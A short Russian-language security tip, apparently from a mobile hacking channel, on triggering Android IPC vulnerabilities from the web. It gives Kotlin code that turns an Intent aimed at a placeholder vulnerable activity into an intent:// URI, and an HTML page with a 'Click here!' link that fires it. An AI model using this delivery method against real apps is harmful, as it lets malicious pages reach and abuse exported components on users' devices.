Эксплуатировать IPC уязвимости можно не только из стороннего приложения, но и из веба. Для этого нужно создать на странице специальную ссылку, нажатие на которую приведет к отправке intent-а целевому приложению. По этому механизму существует средней паршивости
документация, но проще использовать чит-код позволяющий перегнать любой intent из вашего эксплойта в web-представление - метод
toUri:
val intentUri = Intent().apply {
data = Uri.parse("myapp://test")
setPackage("com.victim.app")
setClassName("com.victim.app", "com.victim.app.VulnerableActivity")
putExtra("zahek", "payload")
}.toUri(Intent.URI_INTENT_SCHEME)
В результате, в
intentUri окажется ссылка вида
intent://test#Intent;scheme=myapp;package=com.victim.app;component=com.victim.app/.VulnerableActivity;S.zahek=payload;end, которую уже можно использовать на странице:
<!DOCTYPE html>
<html>
<body>
<a href="intent://test...">Click here!</a>
</body>
</html>
#aht